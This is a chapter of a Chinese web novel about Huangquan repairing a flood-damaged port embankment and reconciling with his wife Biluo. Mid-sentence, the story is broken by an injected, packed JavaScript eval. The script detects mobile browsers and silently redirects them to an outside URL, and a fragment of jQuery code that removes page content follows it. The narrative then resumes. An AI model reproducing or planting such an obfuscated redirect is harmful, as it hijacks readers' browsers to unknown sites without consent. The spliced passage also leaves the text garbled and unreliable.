暴雨过后,潞城港的天又变得大晴。
太阳炙烤着大地,阳光几乎要把人的皮肤晒裂。
可内港的堤坝上,依旧有一排排汉子冒着酷暑烈日,争分夺秒地运送砂石,埋头修缮堤坝。
这些人多都是港口仅剩下的灾民,经过两三日的修整,这些精壮渔家汉子身体逐渐恢复,对前来赈灾的齐将军的孙子也放下了防备。
当日这人将金豹当场诛杀,并护下了还没被金豹杀掉的半数妇孺的性命,让他们中许多人的妻儿老小得以存活。
之后又开仓放粮,分给他们每家每户些许粮食应急,并许诺只要他们肯继续修缮港口,不但每日管饭,还会发给他们粮食以抵工钱,直到内港修好,航线恢复,他们能够像以前一样,凭借着出力气给人搬货养活一家老小。
一开始大家都是不信的,甚至对修堤坝都有阴影,谁知道新来的这人是不是和金豹一样的狗官,说给的粮食不给,管饭也只让他们喝米汤。修堤坝是个力气活,再这样累下去,他们迟早会累死在坝子上。
但粮食很快就吃完了,渔民门无奈也只有再自投罗网地去修堤坝,至少自己能喝口米汤,不用再吃家里的粮食,便能多留些粮食给家中的老幼。
却不曾想,只要去肯坝子上干活的,每天不但自己能吃的饱饱的,还能领一点粮食回家,工钱按天发放,绝不拖欠,多劳多得。甚至有愿意晚上倒班去干活的,同样管饭发粮食!
这下渔民立刻爆发了极大的劳动热情,有些家中甚至女子也一同上阵,就为了多挣那一口粮食,让全家人多一分活过这个灾年的希望。
可人手还是太少了,就算粮食给的足够,人也不能没日没夜地干活。
有些渔民为了多得粮食强撑着不肯休息,直接在堤坝上中暑昏倒,又被人拖下去紧急施救一番才捡回一条命来。
这日傍晚,太阳西沉,温度稍稍降了下来。
碧落一个人去内港口找黄泉。
她已经连着几天没见黄泉了,这人不知抽了什么风,这几晚都宿在衙署里,白天也见不到他人。
问了无常才知道,黄泉白日里居然天天都去内港干活,修堤坝。
碧落搞不明白,他为什么要去,那么累,那么晒,多他一个不多,少他一个也不少,非要去受那罪做甚?
难道是为了身先士卒,在渔民里得一个好名声?
可将来留下来治理港口的又不是他,他们必定不会久留,难道是为周令赢一个好名声?
想到这,碧落的火蹭的一下就冒起来了。既气黄泉这个甘心为人做嫁衣的傻子,又气周令这个就会利用老实人的骗子!
来到内港后,碧落只远远望着,并不靠近。
黄泉正站在坝子上垒砂石,这是个费力气的活儿,比用独轮车运砂石累多了,须得一次次搬动沉重的砂石袋子,垒实了,对臂力和腰力都是考验。
碧落默默观察,发现黄泉没在装模作样,干得比别人还更快一点。
他光着膀子,汗水从肩背上滑落,像是从起伏的山岳间流淌过的溪流,最终没入紧实的腰腹间。每次用力,手臂上的肌肉隆起,腰腹紧绷,汗津津的身体被夕阳镀上一层光,整个人犹如一座极具美感的雕塑。
碧落就这么看着,看他不知疲倦地一遍又一遍地做着这些枯燥又狼狈的事,移不开眼睛。
看了好一阵,人群似是要歇息一下,汉子们便就地在坝子上坐下来,聊聊天,喝点水,眺望着霞光粼粼的海面和火烧云一般的夕阳。
黄泉坐在这群人中间,竟没有丝毫违和感,他一边用水囊喝水,一边和周围的人畅快说笑。
笑声顺着海风传出去老远,他的眼睛也和初见时那般明亮。
碧落又看了他几眼,便回去了,临走时喊来在附近粥棚子里忙活的阿青,让她告诉黄泉,晚上一定要回来吃饭,她等他。
夜幕降临,小院里,蛐蛐的叫声响得吵闹。
卧房里只有碧落和黄泉二人在外间吃饭,四道小菜,两荤两素,配着清爽解腻的凉面,黄泉吃得狼吞虎咽。
他白天干了一天的活儿,累了,也饿了。这几天为了方便,也是为了不让自己的一身臭汗熏着妻子,他一直住在府衙,吃的全是大锅饭,没滋没味的,只能填饱肚子。
今日妻子居然特地叫自己回家吃饭,还说她等他!
他开心极了!于是特地早早回来,沐浴洗漱一番,再美美和妻子一起共用晚膳。
黄泉正兀自沉醉在和妻子小小团聚的美好气氛中,忽然察觉对面没什么动静?妻子半天夹不了一筷子,似是没什么胃口。
不会是自己吃得太粗鲁,吓着妻子了吧?
黄泉自以为很不经意地抬头,偷看碧落,却正撞进碧落一瞬不移盯着他的那双美丽又威严的凤眼里。
“额……”黄泉被抓包,有些尴尬地放下碗筷,做错事一般四处乱瞟。
“怎么不吃了?”碧落问。
黄泉垂着狗狗眼,抬眸看了她一眼,试探道:“你怎么不吃啊?是不是我吃太多了?那……那我不吃了,你……你吃吧,哦不,我再让人给你做一份。”
说着,他健硕的身躯哗啦一声站起来,把桌子都撞了一下,便要往外走,叫人再准备些饭食。
碧落一把拽住他,命令道:“我不饿,你坐下。”
黄泉无法,只能拘谨地又坐回去:“你怎么了?为什么……生气?”
他直觉她是生气了,应该和自己有关,但又不知道为什么。
碧落看着他那么大一只,委委屈屈地缩着,心里的气怎么也生不起来了,脑海中全是他白天像只熊一样搬运砂石的身影,还有他畅快的笑。
她软下声音,平静问他:“你为什么要去堤坝上忙活?那么累,你可以不用去的。”
黄泉一听是这事儿,脑袋上无形的耳朵瞬间支棱起来,想着妻子原来是怕我累,她好爱我。也是,自己应该多陪陪她的,这是做夫君的责任。
“我不累。但以后我都会回来吃饭,回来住。”说完,黄泉眼睛亮晶晶地看着碧落,很满意自己的回答。
碧落心里叹了口气,这个呆子,她只能更直白地问他:“我是说,你既然知道我们在这里做的一切都是给周令做的,你为什么还要这么卖力,去港口干活,只为了给他挣个好名声,他到底许了你什么?让你这么卖命?”
黄泉呆愣在原地,完全没想到碧落想的是这个,赶忙否认道:“不是不是!我才不是给周令干的,他也没许我任何东西。”
碧落更奇怪了:“那你为什么要去?”
黄泉也很疑惑:“因为修堤坝缺人啊!渔民剩下得不多了,想要赶在雨季结束前修好内港,只能加班加点地干,否则到时候,没有船只来,他们的生活照样没有着落。能多一个人干,就能早一点修好。”
这下轮到碧落呆住了。
这是再正常不过的理由,她却从来没有想过。
她忽然意识到,隐藏在她内心深处的傲慢和自以为是。
她习惯了利益博弈,得失算计,她用这些东西去解释世间的一切,觉得所有的事情都可以以此去衡量,觉得救灾也是各方势力的又一次拉锯,却从未试着从渔民的角度去看待过这件事。
这里是他们的家,他们的家破了,最要紧的,是先把家修好,而不是谁来修。
庙堂之上待久了,她还留着父皇当年交给她的那颗为民之心吗?
当年的她,真的是一个合格的皇太女吗?
犹如晨钟暮鼓,敲得碧落脑中光明洞彻,也嗡嗡作响。
黄泉见她不说话,也不知她在想什么,只自顾自回忆道:“我老家在辽州,虽然不靠海,有一条河穿过,那条河叫宛河。”
“宛河是一条并不宽阔的河,冬天冰封,但是夏天水量很大,河道不深,是以经常发洪水。可附近的村镇都靠着这条河过活,就算官府不组织,我们附近几个村子也经常自发地在夏汛来临前,去巩固堤坝,修缮河工。”
说道这,黄泉笑了起来:“那时候,我爹每天都要出去干活,宛河离我们家有点距离,中午不能回家来好好吃饭,从附近买婆子做的吃食又贵,只能啃干粮。我娘就会做好饭,让我给我爹送过去。”
“每次给我爹送饭的时候,他都老开心了,在那一帮修堤坝的汉子中间可劲儿炫耀,别人说他臭显摆,他也不恼,反而会在那人前可劲儿夸我,夸我娘,说那人没媳妇儿疼。把人家气得跳脚要打他。”
他的声音低沉而温柔,仿佛将两人带回了那边一望无垠的黑土地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291231|197351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,带回道那片纯朴而安逸的村庄。没有战乱,没有逃亡,人们想要活着,只需要团结起来抵抗天灾,而不需要殚精竭虑、如履薄冰地避开人世间的魑魅魍魉。
碧落也被这回忆安抚了,拂去心头的懊悔和自责,在融融的烛光下,不舍地看着他。
“后来……就打起来了。”黄泉的回忆戛然而止,“到处都在杀人,所有人都在跑。爹娘……死在了乱军里。”
他将最痛苦的记忆草草盖过,好像那些都能随着他一声叹气而离他远去:“我对周令,有感激在,毕竟是他当年救下了我和黑白无常,但我现在在港口做的这些事,不是为了他。”
“创立幽夜司,杀那些贪官恶吏,是因为我能为他们做这些。但现在金豹已死,这里不需要幽夜司再去杀人了,我能做的就变成修堤坝。所以我就去了。”
晚风拂过窗棂,带起一阵清脆的铃响声,兜兜转转涌进室内,吹起黄泉的衣袍,犹如一个轻柔的拥抱。
于这温柔的幽寂中,碧落认真道:“进可杀敌破阵,退可守土安民。你已经做得很好了。”
黄泉被夸得一愣,随即笑道:“那看来,你不生我气了。”
碧落也笑,黄泉几乎被那春花夜放般的笑容,晃了神。
“我没生你的气。是……是我自己的原因,我想得狭隘了。”碧落又睨了他一眼,叮嘱道:“我以为你被周令骗了,你防着他点,别傻乎乎的,港口的事情该问他要的好处,要问他要,别让他抢了你的,知道吗?”
黄泉不知想到了什么,没忍住,开怀地笑起来,直到碧落羞恼地瞪他,他才停下:“知道了,我全听夫人的。”
原来妻子是怕自己被周令坑骗了。
黄泉心想,谁坑谁还真说不准,若是周令知道他心心念念的义华公主已经和自己成亲了,怕不是要气晕过去!
现在自己只要看好眼前的妻子别被周令抢走了就行,其他随便周令想抢什么,拿走便是!
尽管想好一定要守好妻子别被周令抢回去,晚上睡觉时,黄泉还是只敢在外间的小塌上窝着。
碧落真是被这个木头脑袋气笑了!
她绕过屏风,见他那么大一只,蜷在小榻上,还知道给盖上小被子,而后仰头,一脸傻气的看着她:“怎么了?”
碧落磨了磨后槽牙,锐利的凤眼危险地眯起来,命令道:“起来。”
黄泉不知为何,但还是乖乖从床上站起来。
他松垮的睡袍披在身上,又开始露自己的胸肌腹肌了,两人之间只隔了一掌的距离,雄性的热气近距离熏蒸着她。
碧落朝屏风后示意:“去里面。”
黄泉惊讶,抱着被子往里走。
碧落:“把被子给我放下!”
黄泉乖乖把被子放回去,走到里间,里间不大,那张宽敞的床榻几乎就在他的脚边。
碧落:“上去。”
黄泉终于反应过来这是要做什么了!
他惊得都结巴了:“啊?这……什么……真、真的吗?”
碧落不耐烦地将他按在床上,抬手,将毫无防备的黄泉掀得骨碌碌滚进床里面,而后自己合衣,躺在了床靠外的一侧。
她屈起一指,弹灭了最后一盏烛灯,室内陷入一片黑暗。
黄泉面朝墙壁,心跳得厉害,感觉这简直像是自己做的一场春梦,虽然这梦还没开始。
她到底是什么意思啊啊啊!
我该怎么办?
完了,忘了复习小册子了!
怎么她也不提前通知一声啊!
黄泉僵着身体,脑中却乱得像要炸了。周围一片安静,他却觉得自己的心吵闹又喧嚣。
等了许久,黄泉才敢慢慢转过身来,他又一次看到了妻子的睡颜,和大婚那天晚上看到的一样,温柔得像一朵沉睡在水中的莲花,
他紧张地将手轻轻放在妻子凹下去的细腰上,谁知刚一触碰上,他的手就被碧落扣住,往她腰上一箍,压着不动了。
他听见她抱怨地嘟囔:“你怎么这么笨!笨死了!”
僵硬的身体瞬间松下来,而后又迅速蓄满力量,双臂激动地有些发抖,却毫不迟疑地将那柔软的躯体揽进怀里,像恶龙盘住宝物一样,上下齐手地用自己的身躯笼罩着她。